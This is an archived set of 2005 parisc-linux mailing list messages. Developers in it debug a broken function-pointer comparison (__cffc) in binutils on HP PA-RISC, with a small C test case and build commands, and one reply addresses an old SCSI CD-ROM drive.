To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2005 20:04:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 04 Mar 2005 21:04:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C6737D669;
	Fri,  4 Mar 2005 13:05:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11487-04; Fri, 4 Mar 2005 13:05:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D4BF7D66B;
	Fri,  4 Mar 2005 13:05:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A11137D668
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 13:05:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11424-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 4 Mar 2005 13:05:10 -0700 (MST)
Original-Received: from pluto2.isd-holland.nl (pluto.isd-holland.nl [62.221.254.24])
	by free.linux.hp.com (Postfix) with ESMTP id 1D80B7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 13:05:10 -0700 (MST)
Original-Received: from router.mbse.dds.nl (62-221-196-62.dsl.fiberworld.nl
	[62.221.196.62])
	by pluto2.isd-holland.nl (Postfix) with ESMTP id 2E3952FCAEA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  4 Mar 2005 21:04:12 +0100 (CET)
Original-Received: by router.mbse.dds.nl (Postfix, from userid 10)
	id DC6BC6606; Fri,  4 Mar 2005 21:04:11 +0100 (CET)
Original-Received: from seaport.mbse.ym
	by router.mbse.ym (AvMailGate-2.0.1) id 30011-2F218250;
	Fri, 04 Mar 2005 21:04:11 +0100
User-Agent: KMail/1.7.2
In-Reply-To: <20050304112112.57017.qmail@web26809.mail.ukl.yahoo.com>
Content-Disposition: inline
X-AntiVirus: OK! AntiVir MailGate Version 2.0.1; AVE: 6.29.0.16;
	VDF: 6.29.0.156
	at router has not found any known virus in this email.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NtNDKiEFTlIv47eQeGhrSVVGU2poZVmw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22398

Op vrijdag 4 maart 2005 12:21, schreef =CE=9C=CE=AC=CF=81=CE=B9=CE=BF=CF=82=
 =CE=9A.:
> This is my dmesg output
>
> The model is 712-60 and not 612
>
> I am begging to suspect the error vomes from the cd-rom
>
> It is a very old cd-rom.
>
> The cd i burned it is good quality and have been written in 4x speed

> Attached SCSI CD-ROM sr0 at scsi0, channel 0, id 5 lun 0
>
> sr0: scsi-1 drive

I think your CD drive is too old. I used to have some old single speed HP=20
readers that didn't work with self burned CD's. Youre drive reports scsi-1=
=20
but I think the 712 needs scsi-2 equipment, but I'm not sure about that.


The one I now use reports this:

sr0: scsi3-mmc drive: 0x/0x caddy
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0

I'm using this on a 712/80 with a 2.6.10-pa11 kernel.=20

=2D-=20

 Greetings, Michiel Broek

mbroek@mbse.dds.nl  or  Fidonet 2:280/2802 to Michiel Broek.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 5 Mar 2005 14:46:53 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20050305194652.GG23803@baldric.uwo.ca>
References: <20050303024545.GR23803@baldric.uwo.ca>
	<200503030321.j233LoiR013194@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623685 12881 80.91.229.3 (22 Nov 2014 02:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Mar 2005 19:47:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 05 Mar 2005 20:47:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8608F7D668;
	Sat,  5 Mar 2005 12:48:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18092-10; Sat, 5 Mar 2005 12:48:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1A947D66C;
	Sat,  5 Mar 2005 12:48:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15F8A7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 12:48:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18092-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 5 Mar 2005 12:47:59 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 99D727D663
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 12:47:59 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D7fEj-0003Z2-00; Sat, 05 Mar 2005 14:46:53 -0500
Content-Disposition: inline
In-Reply-To: <200503030321.j233LoiR013194@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pmBBKsgCTlIv47eQeGhrSVVGU2poZVnJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22399

On Wed, Mar 02, 2005 at 10:21:49PM -0500, John David Anglin wrote:
> > There are a lot of files that do symbol resolution. I think I might just
> > save the fp argument registers, and thus allow gcc to do any sorts of
> > optimizations it wishes with therest of the code, knowing that the
> > arguments are all saved and restored on the initial function call.
> 
> Sounds good.
> 
> I think we have somehow broken __cffc.  I did a binutils build
> yesterday and various ld tests are now failing.  These are tests
> that compare function pointers.

I didn't feed anything new into debian-glibc. All my patches have always
strived to keep __cffc working, if I messup the function pointer
comparison I get a slew of glibc testsuite failures which I always
patchup by making sure __cffc works :)

The last botch was a minor change in the trampoline template, which
prompted the addition of the 'bl' before the function that made use of
the magic '-4' check in __cffc.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 5 Mar 2005 15:33:20 -0500 (EST)
Lines: 56
Approved: news@gmane.org
Message-ID: <200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca>
References: <20050305194652.GG23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623685 12883 80.91.229.3 (22 Nov 2014 02:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Mar 2005 20:34:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 05 Mar 2005 21:34:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF41A7D674;
	Sat,  5 Mar 2005 13:35:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18404-07; Sat, 5 Mar 2005 13:35:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9C6E7D66D;
	Sat,  5 Mar 2005 13:35:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AFAC7D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 13:35:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18404-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 5 Mar 2005 13:35:07 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CDA287D663
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 13:35:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j25KXKhF007562; Sat, 5 Mar 2005 15:33:21 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j25KXK8x007561;
	Sat, 5 Mar 2005 15:33:20 -0500 (EST)
In-Reply-To: <20050305194652.GG23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 5, 2005 02:46:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qntBKlkmTlIv47eQeGhrSVVGU2poZVnB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22400

> > I think we have somehow broken __cffc.  I did a binutils build
> > yesterday and various ld tests are now failing.  These are tests
> > that compare function pointers.
> 
> I didn't feed anything new into debian-glibc. All my patches have always
> strived to keep __cffc working, if I messup the function pointer
> comparison I get a slew of glibc testsuite failures which I always
> patchup by making sure __cffc works :)

I haven't touched fptr.c either, although there is a change in GCC
4.0 with respect to canonicalization.  I'm using the debian glibc,
2.3.2.ds1-20, on the system on which I noticed this problem.

2004-12-12  Nathanael Nerode  <neroden@gcc.gnu.org>
	    John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

	PR middle-end/17564
	* dojump.c (do_compare_and_jump): Only canonicalize function pointers
	in a comparison if both sides are function pointers.

I checked that the binutils testsuite fails with 3.4, so I don't think
the problem is a GCC issue.  I was going to try and see what's happening
this afternoon.  I've been working on some testsuite cleanups today.

Another thing that I need to figure out is the cause of the libstdc++
fails:

hiauly6 4.0.0:
FAIL: 27_io/basic_filebuf/sgetn/char/1-in.cc execution test
FAIL: 27_io/basic_filebuf/sgetn/char/1-io.cc execution test
FAIL: 27_io/basic_filebuf/sgetn/char/2-in.cc execution test
FAIL: 27_io/basic_filebuf/sgetn/char/2-io.cc execution test
FAIL: 27_io/basic_filebuf/underflow/wchar_t/11603.cc execution test
FAIL: 27_io/basic_istream/readsome/char/6746-2.cc execution test
FAIL: 27_io/basic_istream/readsome/wchar_t/6746-2.cc execution test

gsyprf11 4.1.0:
FAIL: 22_locale/messages/members/char/1.cc execution test
FAIL: 22_locale/messages/members/char/2.cc execution test
FAIL: 22_locale/messages/members/char/wrapped_env.cc execution test
FAIL: 22_locale/messages/members/char/wrapped_locale.cc execution test
FAIL: 22_locale/messages_byname/named_equivalence.cc execution test

It's strange that the two systems have a completely different
sets of testsuite fails.  There aren't any fails under hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 5 Mar 2005 16:53:23 -0500 (EST)
Lines: 65
Approved: news@gmane.org
Message-ID: <200503052153.j25LrOQW014375@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623685 12885 80.91.229.3 (22 Nov 2014 02:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Mar 2005 21:54:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 05 Mar 2005 22:54:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B78597D66F;
	Sat,  5 Mar 2005 14:55:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18768-05; Sat, 5 Mar 2005 14:55:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAE267D672;
	Sat,  5 Mar 2005 14:55:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F9D77D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 14:54:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18768-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 5 Mar 2005 14:54:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C7AD77D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 14:54:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j25LrOhF014379; Sat, 5 Mar 2005 16:53:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j25LrOQW014375;
	Sat, 5 Mar 2005 16:53:24 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Mar 5, 2005 03:33:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4kZBKoUnTlIv47eQeGhrSVVGU2poZVkC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22401

> > > I think we have somehow broken __cffc.  I did a binutils build
> > > yesterday and various ld tests are now failing.  These are tests
> > > that compare function pointers.
> > 
> > I didn't feed anything new into debian-glibc. All my patches have always
> > strived to keep __cffc working, if I messup the function pointer
> > comparison I get a slew of glibc testsuite failures which I always
> > patchup by making sure __cffc works :)
> 
> I haven't touched fptr.c either, although there is a change in GCC
> 4.0 with respect to canonicalization.  I'm using the debian glibc,
> 2.3.2.ds1-20, on the system on which I noticed this problem.

Ok, ld is broken in the binutils CVS head.
__canonicalize_funcptr_for_compare doesn't load the correct address
for _GLOBAL_OFFSET_TABLE_ in shared libraries.  It loads the address
used by main.  As a result, it thinks the plabel for the function
has been resolved ;(

The testcase is:

foo.c:

extern void bar (void);
typedef void (*func_t)(void);
int
foo (func_t f)
{
  return f == bar;
}

bar.c:

void bar (void) {};
int
main ()
{
  if (!foo (bar))
    abort ();
  return 0;
}

gcc -g -fPIC -S foo.c
gcc -shared -fPIC -o foo.sl foo.o
gcc -c -g -w bar.c
gcc -o bar bar.o foo.sl

nm foo.sl
...
00010ab0 a _GLOBAL_OFFSET_TABLE_

nm bar
...
00020c54 d _GLOBAL_OFFSET_TABLE_

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 5 Mar 2005 19:22:27 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200503060022.j260MRjc001063@hiauly1.hia.nrc.ca>
References: <200503052153.j25LrOQW014375@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623685 12886 80.91.229.3 (22 Nov 2014 02:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Mar 2005 00:23:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 06 Mar 2005 01:23:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C55E7D673;
	Sat,  5 Mar 2005 17:24:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19185-09; Sat, 5 Mar 2005 17:24:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5BA87D674;
	Sat,  5 Mar 2005 17:24:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 132947D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 17:24:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19212-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 5 Mar 2005 17:24:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8643F7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Mar 2005 17:24:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j260MShF001068; Sat, 5 Mar 2005 19:22:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j260MRjc001063;
	Sat, 5 Mar 2005 19:22:27 -0500 (EST)
In-Reply-To: <200503052153.j25LrOQW014375@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 5, 2005 04:53:23 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4iFBKrdHTlIv47eQeGhrSVVGU2poZZkO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22402

> Ok, ld is broken in the binutils CVS head.
> __canonicalize_funcptr_for_compare doesn't load the correct address
> for _GLOBAL_OFFSET_TABLE_ in shared libraries.  It loads the address
> used by main.  As a result, it thinks the plabel for the function
> has been resolved ;(

Found it:

2004-11-02  Hans-Peter Nilsson  <hp@axis.com>

        * elflink.c (_bfd_elf_create_got_section): Hide _GLOBAL_OFFSET_TABLE_.

Dave
-- 
